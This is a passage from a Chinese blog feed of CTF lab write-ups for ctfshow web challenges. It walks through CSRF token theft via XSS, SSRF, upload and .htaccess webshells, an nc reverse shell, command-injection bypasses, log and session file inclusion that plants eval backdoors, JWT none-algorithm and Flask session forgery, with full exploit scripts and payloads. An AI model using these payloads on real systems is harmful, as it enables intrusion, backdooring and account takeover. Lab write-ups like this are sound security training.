&amp;lt;/form&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;存在csrf接口验证&lt;/p&gt;
&lt;p&gt;我们通过xss得到管理员访问同源地址：127.0.0.1:4476&lt;/p&gt;
&lt;p&gt;我们尝试先不携带csrf_token看看后端是否有验证&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 构造表单数据
                    const formData = new URLSearchParams();
                    formData.append(&apos;password&apos;, &apos;123456&apos;);
                    fetch(&apos;http://127.0.0.1:4476/modify&apos;, {
                        method: &apos;POST&apos;,
                        headers: {
                            &apos;Content-Type&apos;: &apos;application/x-www-form-urlencoded&apos;,
                        },
                        body: formData,
                        credentials: &apos;include&apos;  // 重要：自动携带Cookie
                     }).then(response =&amp;gt; {
                     
                     }).catch(error =&amp;gt; {
                        });
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们尝试登录，发现无法利用&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251221211843398-1766372386707-12.png&quot; alt=&quot;image-20251221211843398&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们进行二次xss，获取csrf_token，并发给攻击网址&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fetch(&apos;http://127.0.0.1:4476/modify&apos;, {
    credentials: &apos;include&apos;  // 携带Cookie
})
.then(r =&amp;gt; r.text())
.then(html =&amp;gt; {
    // 提取Token
    const tokenMatch = html.match(/name=&quot;csrf_token&quot; value=&quot;([^&quot;]*)&quot;/);
    if (tokenMatch &amp;amp;&amp;amp; tokenMatch[1]) {
        const token = tokenMatch[1];
        const leakUrl = `https://23a82889-f2cd-481f-ac4e-f508f661fb47.challenge.ctf.show/?token=${token}&amp;amp;target=http://127.0.0.1:4476/modify`;
        window.location.href = leakUrl;  
    }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;攻击网站主要代码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;   &amp;lt;form id=&quot;csrfForm&quot; action=&quot;{{ target }}&quot; method=&quot;POST&quot;&amp;gt;
            &amp;lt;input type=&quot;hidden&quot; name=&quot;password&quot; value=&quot;123456&quot;&amp;gt;
            &amp;lt;input type=&quot;hidden&quot; name=&quot;csrf_token&quot; value=&quot;{{ token }}&quot;&amp;gt;
   &amp;lt;/form&amp;gt;


    &amp;lt;script&amp;gt;
        setTimeout(() =&amp;gt; {
            document.getElementById(&apos;csrfForm&apos;).submit();
        }, 1000);
    &amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251221205904147-1766372386707-14.png&quot; alt=&quot;image-20251221205904147&quot; /&gt;&lt;/p&gt;
&lt;p&gt;成功修改管理员密码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251221205759397-1766372386707-16.png&quot; alt=&quot;image-20251221205759397&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ctfshow{d9ddfedb-db4e-4851-8246-4f1fe57e8e72}&lt;/p&gt;
&lt;h2&gt;最简单的SSRF&lt;/h2&gt;
&lt;p&gt;strlen($host) &amp;lt;= 5&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251221213026485-1766372386707-15.png&quot; alt=&quot;image-20251221213026485&quot; /&gt;&lt;/p&gt;
&lt;p&gt;url=http://0/flag.php&lt;/p&gt;
&lt;h2&gt;SSRF打Redis&lt;/h2&gt;
&lt;p&gt;工具生成payload&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251221214827915-1766372386707-17.png&quot; alt=&quot;image-20251221214827915&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251221222147141-1766372386707-18.png&quot; alt=&quot;image-20251221222147141&quot; /&gt;&lt;/p&gt;
&lt;p&gt;flag在 /flaaag&lt;/p&gt;
&lt;p&gt;ctfshow{10de5bdd-f16b-4b48-bea8-63a28ece6d20}&lt;/p&gt;
&lt;h1&gt;第八章 文件上传攻击与解析漏洞&lt;/h1&gt;
&lt;h2&gt;绕过MIME检测上传webshell&lt;/h2&gt;
&lt;p&gt;这里对Content-Type进行校验&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251222081649789-1766372386707-20.png&quot; alt=&quot;image-20251222081649789&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251222081656860-1766372386707-19.png&quot; alt=&quot;image-20251222081656860&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ctfshow{10765e65-dbd4-4316-a487-ed64b4b02109}&lt;/p&gt;
&lt;h2&gt;htaccess攻击&lt;/h2&gt;
&lt;p&gt;我们上传.hatccess文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;FilesMatch &quot;1.jpg&quot;&amp;gt;
SetHandler application/x-httpd-php
&amp;lt;/FilesMatch&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后再上传木马&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251222082151684-1766372386707-23.png&quot; alt=&quot;image-20251222082151684&quot; /&gt;&lt;/p&gt;
&lt;p&gt;蚁剑连接得到flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251222082158972-1766372386707-21.png&quot; alt=&quot;image-20251222082158972&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ctfshow{4ac6e2a9-bbf3-44c9-acc9-d2a566dfd142}&lt;/p&gt;
&lt;h2&gt;Exif注释包含恶意代码&lt;/h2&gt;
&lt;p&gt;使用exiftool将jpg转成这种格式&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251222091338839-1766372386707-22.png&quot; alt=&quot;image-20251222091338839&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C64File &quot;&apos;);select 0x3c3f3d60245f4745545b315d603f3e into outfile &apos;/var/www/html/1.php&apos;;--+
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;上传&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251222091432045-1766372386707-25.png&quot; alt=&quot;image-20251222091432045&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在1.php自动生成后门文件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251222091152404-1766372386707-24.png&quot; alt=&quot;image-20251222091152404&quot; /&gt;&lt;/p&gt;
&lt;p&gt;ctfshow{2a405738-c872-412b-9f5e-57e422864fb4}&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251222092031208.png&quot; alt=&quot;image-20251222092031208&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Web应用安全与防护（上）</title><link>https://origin618.github.io/posts/web%E5%BA%94%E7%94%A8%E5%AE%89%E5%85%A8%E4%B8%8E%E9%98%B2%E6%8A%A4%E4%B8%8A/</link><guid isPermaLink="true">https://origin618.github.io/posts/web%E5%BA%94%E7%94%A8%E5%AE%89%E5%85%A8%E4%B8%8E%E9%98%B2%E6%8A%A4%E4%B8%8A/</guid><description>Web应用安全与防护（上）</description><pubDate>Thu, 18 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;第一章 Web安全基础&lt;/h1&gt;
&lt;h2&gt;Base64编码隐藏&lt;/h2&gt;
&lt;p&gt;打开题目是一个登录页面，Ctrl+u可以查看题目的加密逻辑&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    &amp;lt;script&amp;gt;
        document.getElementById(&apos;loginForm&apos;).addEventListener(&apos;submit&apos;, function(e) {
            e.preventDefault();
        
            const correctPassword = &quot;Q1RGe2Vhc3lfYmFzZTY0fQ==&quot;;
            const enteredPassword = document.getElementById(&apos;password&apos;).value;
            const messageElement = document.getElementById(&apos;message&apos;);
            
            if (btoa(enteredPassword) === correctPassword) {
                messageElement.textContent = &quot;Login successful! Flag: &quot;+enteredPassword;
                messageElement.className = &quot;message success&quot;;
            } else {
                messageElement.textContent = &quot;Login failed! Incorrect password.&quot;;
                messageElement.className = &quot;message error&quot;;
            }
        });
    &amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中通过&lt;code&gt;btoa&lt;/code&gt;方法对提交的密码进行编码，编码后若是与&lt;code&gt;correctPassword&lt;/code&gt;相同则登录成功&lt;/p&gt;
&lt;p&gt;这里我们对&lt;code&gt;Q1RGe2Vhc3lfYmFzZTY0fQ==&lt;/code&gt;进行&lt;code&gt;atob&lt;/code&gt;解码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251218080907790-1766103420752-1.png&quot; alt=&quot;image-20251218080907790&quot; /&gt;&lt;/p&gt;
&lt;p&gt;CTF{easy_base64}&lt;/p&gt;
&lt;h2&gt;HTTP头注入&lt;/h2&gt;
&lt;p&gt;同样的加密逻辑但是有后端check.php验证&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251218084028413-1766103420752-9.png&quot; alt=&quot;image-20251218084028413&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里直接注入user-agent&lt;/p&gt;
&lt;p&gt;CTF{user_agent_inject_success}&lt;/p&gt;
&lt;h2&gt;Base64多层嵌套解码&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt; document.getElementById(&apos;loginForm&apos;).addEventListener(&apos;submit&apos;, function(e) {
            const correctPassword = &quot;SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU=&quot;;
            
            function validatePassword(input) {
                let encoded = btoa(input);
                encoded = btoa(encoded + &apos;xH7jK&apos;).slice(3);
                encoded = btoa(encoded.split(&apos;&apos;).reverse().join(&apos;&apos;));
                encoded = btoa(&apos;aB3&apos; + encoded + &apos;qW9&apos;).substr(2);
                return btoa(encoded) === correctPassword;
            }

            const enteredPassword = document.getElementById(&apos;password&apos;).value;
            const messageElement = document.getElementById(&apos;message&apos;);
            
            if (!validatePassword(enteredPassword)) {
                e.preventDefault();
                messageElement.textContent = &quot;Login failed! Incorrect password.&quot;;
                messageElement.className = &quot;message error&quot;;
            }
        });
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们这里通过暴力破解&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 在控制台直接运行以下代码
const correctPassword = &quot;SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU=&quot;;

function encrypt(password) {
    let encoded = btoa(password);
    encoded = btoa(encoded + &apos;xH7jK&apos;).slice(3);
    encoded = btoa(encoded.split(&apos;&apos;).reverse().join(&apos;&apos;));
    encoded = btoa(&apos;aB3&apos; + encoded + &apos;qW9&apos;).substr(2);
    return btoa(encoded);
}

function bruteForce6Digit() {
    console.time(&apos;Brute Force Time&apos;);
    
    // 生成6位数字的优化方法（000000-999999）
    for (let num = 0; num &amp;lt;= 999999; num++) {
        // 补零到6位
        const candidate = num.toString();
        
        // 加密并比对
        if (encrypt(candidate) === correctPassword) {
            console.timeEnd(&apos;Brute Force Time&apos;);
            return candidate;
        }
        
        // 每10万次输出进度
        if (num % 100000 === 0) {
            console.log(`Progress: ${num/100000}0%`);
        }
    }
    
    console.timeEnd(&apos;Brute Force Time&apos;);
    return &quot;Not found&quot;;
}

// 执行破解
console.log(&quot;Result:&quot;, bruteForce6Digit());
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;CTF{base64_brute_force_success}&lt;/p&gt;
&lt;h2&gt;HTTPS中间人攻击&lt;/h2&gt;
&lt;p&gt;使用sslkey.log进行http流量解密&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251218090451767-1766103420753-12.png&quot; alt=&quot;image-20251218090451767&quot; /&gt;&lt;/p&gt;
&lt;p&gt;CTF{https_secret_data}&lt;/p&gt;
&lt;h2&gt;Cookie伪造&lt;/h2&gt;
&lt;p&gt;弱口令guest/guest登录发现是游客账号&lt;/p&gt;
&lt;p&gt;我们将role的值改为admin&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251218090724755-1766103420752-3.png&quot; alt=&quot;image-20251218090724755&quot; /&gt;&lt;/p&gt;
&lt;p&gt;CTF{cookie_injection_is_fun}&lt;/p&gt;
&lt;h1&gt;第二章 Web木马与命令执行攻击&lt;/h1&gt;
&lt;h2&gt;一句话木马变形&lt;/h2&gt;
&lt;p&gt;输入phpinfo();查看php版本为7.3.29&lt;/p&gt;
&lt;p&gt;经过测试发现过滤了空格和单双引号&lt;/p&gt;
&lt;p&gt;我们利用base64加密进行绕过&lt;/p&gt;
&lt;p&gt;&lt;code&gt;eval(base64_decode(c3lzdGVtKCJ0YWMgZmxhZy5waHAiKTs));&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251218091928443-1766103420752-2.png&quot; alt=&quot;image-20251218091928443&quot; /&gt;&lt;/p&gt;
&lt;p&gt;CTF{shell_code_base64_bypass}&lt;/p&gt;
&lt;h2&gt;反弹shell构造&lt;/h2&gt;
&lt;p&gt;题目构造命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nc 127.0.0.1 8001 -e /bin/sh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;服务器nc -lvnp 8001&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251218163424072-1766103420752-4.png&quot; alt=&quot;image-20251218163424072&quot; /&gt;&lt;/p&gt;
&lt;p&gt;CTF{reverse_shell_use_nc}&lt;/p&gt;
&lt;h2&gt;管道符绕过过滤&lt;/h2&gt;
&lt;p&gt;|grep flag|xargs tac&lt;/p&gt;
&lt;p&gt;或者使用&lt;code&gt;||&lt;/code&gt; 让第一个命令执行失败&lt;/p&gt;
&lt;p&gt;1||tac flag.php&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251218164224056-1766103420752-6.png&quot; alt=&quot;image-20251218164224056&quot; /&gt;&lt;/p&gt;
&lt;p&gt;CTF{no_space_to_execute_shell_commands}&lt;/p&gt;
&lt;h2&gt;无字母数字代码执行&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

$system=&quot;system&quot;;

$command=&quot;tac flag.php&quot;; 

echo &apos;(~&apos;.urlencode(~$system).&apos;)(~&apos;.urlencode(~$command).&apos;);&apos;;
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251218200150510-1766103420752-5.png&quot; alt=&quot;image-20251218200150510&quot; /&gt;&lt;/p&gt;
&lt;p&gt;CTF{no_characters_to_execute_php_code}&lt;/p&gt;
&lt;h2&gt;无字母数字命令执行&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import requests
import time
url = &quot;http://localhost:5058&quot;

#payload.txt 内容为需要执行的命令 这里为 tac /var/www/html/flag.php
file = {&quot;file&quot;: open(&quot;payload.txt&quot;, &quot;r&quot;)}

data = {&quot;code&quot;: &quot;. /???/????????[@-[]&quot;}

while True:
    response = requests.post(url, files=file, data=data ,verify=False)
    if response.text.find(&quot;CTF{&quot;)!= -1:
        flag = response.text[response.text.find(&quot;CTF{&quot;):-1]
        print(flag)
        break
    else:
        print(&quot;Waiting for flag...&quot;)
        time.sleep(1)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;CTF{no_characters_to_execute_shell_commands_he3e}&lt;/p&gt;
&lt;h1&gt;第三章 文件包含与路径遍历漏洞&lt;/h1&gt;
&lt;h2&gt;日志文件包含&lt;/h2&gt;
&lt;p&gt;使用php伪协议会被过滤&lt;/p&gt;
&lt;p&gt;用log文件包含：/var/log/nginx/access.log&lt;/p&gt;
&lt;p&gt;可以正常包含&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251218201949837-1766103420752-7.png&quot; alt=&quot;image-20251218201949837&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在ua注入木马&amp;lt;?php eval($_POST[1]);?&amp;gt;(注意得一次写对，不然会报错)&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251218202112142-1766103420752-10.png&quot; alt=&quot;image-20251218202112142&quot; /&gt;&lt;/p&gt;
&lt;p&gt;执行命令得到flag&lt;/p&gt;
&lt;p&gt;CTF{php_access_l0g_lf1_is_fun}&lt;/p&gt;
&lt;h2&gt;php://filter读取源码&lt;/h2&gt;
&lt;p&gt;使用php://filter/convert.base64-encode/resource=index.php读取源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($_SERVER[&apos;REQUEST_METHOD&apos;] === &apos;POST&apos; &amp;amp;&amp;amp; isset($_POST[&apos;file&apos;])): ?&amp;gt;
            &amp;lt;div class=&quot;form-group&quot;&amp;gt;
                &amp;lt;label&amp;gt;Include Result:&amp;lt;/label&amp;gt;
                &amp;lt;div class=&quot;result&quot;&amp;gt;&amp;lt;?php
                    include &quot;db.php&quot;;
                    function validate_file_contents($file) {

                        if(preg_match(&apos;/[^a-zA-Z0-9\/\+=]/&apos;, $file)){
                            return false;   
                        }
                        return true;
                    }

                    try {
                        // Validate input characters
                        if (preg_match(&apos;/log|nginx|access/&apos;, $_POST[&apos;file&apos;])) {
                            throw new Exception(&apos;Invalid input. Please enter a valid file path.&apos;);
                        }
                        
                        ob_start();
                        echo file_get_contents($_POST[&apos;file&apos;]);
                        $output = ob_get_clean();
                        if(!validate_file_contents($output)){
                            throw new Exception(&apos;Invalid input. Please enter a valid file path.&apos;);
                        }else{
                            echo &apos;File contents:&apos;;
                            echo &apos;&amp;lt;br&amp;gt;&apos;;
                            echo $output;
                        }
                       
                    } catch (Exception $e) {
                        echo &apos;Error: &apos; . htmlspecialchars($e-&amp;gt;getMessage());
                    }
                ?&amp;gt;&amp;lt;/div&amp;gt;
            &amp;lt;/div&amp;gt;
        &amp;lt;?php endif; ?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看出日志方法被过滤&lt;/p&gt;
&lt;p&gt;用同样方法读取db.php&lt;/p&gt;
&lt;p&gt;PD9waHAKCiRzZXJ2ZXJuYW1lID0gImxvY2FsaG9zdCI7CiR1c2VybmFtZSA9ICJyb290IjsKJHBhc3N3b3JkID0gIkNURnszZWNyZXRfcGFzc3cwcmRfaGVyZX0iOwokZGJuYW1lID0gImJvb2tfc3RvcmUiOw==&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251218202742761-1766103420752-8.png&quot; alt=&quot;image-20251218202742761&quot; /&gt;&lt;/p&gt;
&lt;p&gt;CTF{3ecret_passw0rd_here}&lt;/p&gt;
&lt;h2&gt;远程文件包含（RFI）&lt;/h2&gt;
&lt;p&gt;读取/etc/passwd正常，var/log和伪协议被禁&lt;/p&gt;
&lt;p&gt;这里使用远程文件包含&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251218204511531-1766103420752-11.png&quot; alt=&quot;image-20251218204511531&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到flag:CTF{http_rfi_1s_fun}&lt;/p&gt;
&lt;h2&gt;路径遍历突破&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

if (isset($_GET[&apos;path&apos;]) &amp;amp;&amp;amp; $_GET[&apos;path&apos;] !== &apos;&apos;) {
$path = $_GET[&apos;path&apos;];
if(preg_match(&apos;/data|log|access|pear|tmp|zlib|filter|:/&apos;, $path) ){
echo &apos;&amp;lt;span style=&quot;color:#f00;&quot;&amp;gt;禁止访问敏感目录或文件&amp;lt;/span&amp;gt;&apos;;
exit;
}

#禁止以/或者../开头的文件名
if(preg_match(&apos;/^(\.|\/)/&apos;, $path)){
echo &apos;&amp;lt;span style=&quot;color:#f00;&quot;&amp;gt;禁止以/或者../开头的文件名&amp;lt;/span&amp;gt;&apos;;
exit;
}

echo $path.&quot;内容为：\n&quot;;
echo str_replace(&quot;\n&quot;, &quot;&amp;lt;br&amp;gt;&quot;, htmlspecialchars(file_get_contents($path)));
} else {
echo &apos;&amp;lt;span style=&quot;color:#888;&quot;&amp;gt;目标flag文件为/flag.txt&amp;lt;/span&amp;gt;&apos;;
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;代码只限制了开头不能为.或/，所以我们用折叠目录来绕过&lt;/p&gt;
&lt;p&gt;1/../../../../../../flag.txt&lt;/p&gt;
&lt;p&gt;CTF{file_path_bypass_is_fun}&lt;/p&gt;
&lt;h2&gt;临时文件包含&lt;/h2&gt;
&lt;p&gt;伪协议和日志包含被过滤，打开网站后发现有cookie，说明开启了session&lt;/p&gt;
&lt;p&gt;我们用临时文件上传配合session包含来getshell&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
import threading
import urllib3

# 1. 屏蔽 InsecureRequestWarning 警告（如果不屏蔽，控制台会刷屏警告信息）
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

session = requests.session()
# 2. 全局设置：该 session 发起的所有请求都不验证 SSL
session.verify = False 

sess = &apos;ctfshow&apos;
url = &quot;https://6db8736e-df43-471d-a71d-41320d903877.challenge.ctf.show/&quot;

data1 = {
    &apos;PHP_SESSION_UPLOAD_PROGRESS&apos;: &apos;&amp;lt;?php echo &quot;success&quot;;file_put_contents(&quot;/var/www/html/1.php&quot;,&quot;&amp;lt;?php eval(\\$_POST[1]);?&amp;gt;&quot;);?&amp;gt;&apos;
}
file = {
    &apos;file&apos;: &apos;ctfshow&apos;
}
cookies = {
    &apos;PHPSESSID&apos;: sess
}

def write():
    while True:
        # 已经在 session 中设置了 verify=False，这里不需要额外写
        r = session.post(url, data=data1, files=file, cookies=cookies)

def read():
    while True:
        r = session.get(url + &quot;?path=/tmp/sess_ctfshow&quot;, cookies=cookies)
        if &apos;success&apos; in r.text:
            print(&quot;shell 地址为：&quot; + url + &quot;1.php&quot;)
            # 在多线程中直接 exit() 可能会报些小错，建议使用 os._exit(0)
            import os
            os._exit(0)

threads = [threading.Thread(target=write),
           threading.Thread(target=read)]
for t in threads:
    t.start()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251218210037263-1766103420753-13.png&quot; alt=&quot;image-20251218210037263&quot; /&gt;&lt;/p&gt;
&lt;p&gt;CTF{fileupload_temp_file_include_success}&lt;/p&gt;
&lt;h1&gt;第四章 用户认证与会话安全&lt;/h1&gt;
&lt;h2&gt;Session固定攻击&lt;/h2&gt;
&lt;p&gt;这题不用写脚本也行，当练习写脚本了&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
from bs4 import BeautifulSoup

BASE = &apos;http://localhost:5055&apos;

# 1. 攻击者用test/test登录，获得sessionid
sess = requests.Session()
sess.get(BASE + &apos;/login&apos;)
resp = sess.post(BASE + &apos;/login&apos;, data={&apos;username&apos;: &apos;test&apos;, &apos;password&apos;: &apos;test&apos;})
sessionid = sess.cookies.get(&apos;session&apos;)

print(&apos;[*] Got sessionid:&apos;, sessionid)

# 2. 发送站内信，附带sessionid
msg = &apos;hello admin&apos;
sess.post(BASE + &apos;/message&apos;, data={&apos;msg&apos;: msg, &apos;sessionid&apos;: sessionid})
print(&apos;[*] Sent message to admin with sessionid&apos;)

# 3. 等待admin_bot处理（可sleep几秒）
import time
time.sleep(11)

# 4. 用同样的sessionid访问首页，应该已变为admin权限
sess2 = requests.Session()
sess2.cookies.set(&apos;session&apos;, sessionid)
resp = sess2.get(BASE + &apos;/&apos;)
soup = BeautifulSoup(resp.text, &apos;html.parser&apos;)
flag = soup.find(&apos;h3&apos;)
if flag:
    print(&apos;[+] FLAG:&apos;, flag.text)
else:
    print(&apos;[-] Exploit failed&apos;)
    print(resp.text)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;CTF{ctfshow_session_fixation_is_a_common_web_security_vulnerability}&lt;/p&gt;
&lt;h2&gt;JWT令牌伪造&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;import base64
import requests
import json

def b64url_encode(data):
    return base64.urlsafe_b64encode(data).rstrip(b&apos;=&apos;).decode()

url = &quot;https://7dca1591-addf-4984-826e-90ffab4176b4.challenge.ctf.show/&quot;

# 构造伪造的 JWT
header = {&quot;alg&quot;: &quot;none&quot;, &quot;typ&quot;: &quot;JWT&quot;}
payload = {&quot;user&quot;: &quot;admin&quot;, &quot;admin&quot;: True}

header_b64 = b64url_encode(json.dumps(header).encode())
payload_b64 = b64url_encode(json.dumps(payload).encode())

# none算法下，签名部分可以为空
jwt_token = f&quot;{header_b64}.{payload_b64}.&quot;

# 携带伪造的 token 访问首页
cookies = {&quot;token&quot;: jwt_token}
resp = requests.get(url, cookies=cookies)

if &quot;CTF{&quot; in resp.text:
    print(&quot;Flag found!&quot;)
    start = resp.text.find(&quot;CTF{&quot;)
    end = resp.text.find(&quot;}&quot;, start)
    print(resp.text[start:end+1])
else:
    print(&quot;Flag not found. Response:&quot;)
    print(resp.text)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也可以用在线网站做&lt;/p&gt;
&lt;p&gt;CTF{jwt_none_alg_bypass_success}&lt;/p&gt;
&lt;h2&gt;Flask_Session伪造&lt;/h2&gt;
&lt;p&gt;读取执行路径url=file:///proc/self/cmdline&lt;/p&gt;
&lt;p&gt;得到python/app/app.py，读取源码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# encoding:utf-8
import re, random, uuid, urllib.request
from flask import Flask, session, request

app = Flask(__name__)
random.seed(uuid.getnode())
app.config[&apos;SECRET_KEY&apos;] = str(random.random()*100)
print(app.config[&apos;SECRET_KEY&apos;])
app.debug = False

@app.route(&apos;/&apos;)
def index():
    session[&apos;username&apos;] = &apos;guest&apos;
    return &apos;CTFshow 网页爬虫系统 &amp;lt;a href=&quot;/read?url=https://baidu.com&quot;&amp;gt;读取网页&amp;lt;/a&amp;gt;&apos;

@app.route(&apos;/read&apos;)
def read():
    try:
        url = request.args.get(&apos;url&apos;)
        if re.findall(&apos;flag&apos;, url, re.IGNORECASE):
            return &apos;禁止访问&apos;
        res = urllib.request.urlopen(url)
        return res.read().decode(&apos;utf-8&apos;, errors=&apos;ignore&apos;)
    except Exception as ex:
        print(str(ex))
    return &apos;无读取内容可以展示&apos;

@app.route(&apos;/flag&apos;)
def flag():
    if session.get(&apos;username&apos;) == &apos;admin&apos;:
        return open(&apos;/flag.txt&apos;, encoding=&apos;utf-8&apos;).read()
    else:
        return &apos;访问受限&apos;

if __name__==&apos;__main__&apos;:
    app.run(
        debug=False,
        host=&quot;0.0.0.0&quot;
    )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用下面脚本获取随机数&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
import random
import urllib3

# 禁用安全警告（如果不禁用，verify=False 会报一堆红色警告，但不影响运行）
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

url = &quot;https://4ad16589-49c7-4621-a1c2-c94455211830.challenge.ctf.show/&quot;

def get_randStr():
    # 添加 verify=False 绕过 SSL 验证
    response = requests.get(url + &quot;read?url=file:///sys/class/net/eth0/address&quot;, verify=False)
    mac = response.text.strip()
    print(f&quot;获取到的 MAC: {mac}&quot;) # 打印一下确保读到了
    
    temp = mac.split(&apos;:&apos;)
    temp = [int(i,16) for i in temp]
    temp = [bin(i).replace(&apos;0b&apos;,&apos;&apos;).zfill(8) for i in temp]
    temp = &apos;&apos;.join(temp)
    mac_int = int(temp,2)
    
    random.seed(mac_int)
    randStr = str(random.random()*100)
    return randStr

if __name__ == &apos;__main__&apos;:
    randStr = get_randStr()
    print(&quot;Calculated SECRET_KEY:&quot;, randStr)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;得到：
获取到的 MAC: 02:42:ac:0c:d7:c2
Calculated SECRET_KEY: 76.13415785899355&lt;/p&gt;
&lt;p&gt;使用https://github.com/noraj/flask-session-cookie-manager进行伪造&lt;/p&gt;
&lt;p&gt;python flask_session_cookie_manager3.py encode -t &quot;{&apos;username&apos;:&apos;admin&apos;}&quot; -s &quot;76.13415785899355&quot;&lt;/p&gt;
&lt;p&gt;得到eyJ1c2VybmFtZSI6ImFkbWluIn0.aUQHxw.cqE7qyE4BeQP2ySeezjgbPoLpQk&lt;/p&gt;
&lt;p&gt;修改本地的cookie值然后访问/flag路由&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251218215853491-1766103420753-14.png&quot; alt=&quot;image-20251218215853491&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到flag:CTF{flask_session_is_secure}&lt;/p&gt;
&lt;h2&gt;弱口令爆破&lt;/h2&gt;
&lt;p&gt;用给的字典直接爆破密码&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./../../../public/pcb5-ez_java/image-20251219081020268-1766103420753-15.png&quot; alt=&quot;image-20251219081020268&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到flag&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;CTF{this_is_a_sample_flag}&lt;/strong&gt;&lt;/p&gt;
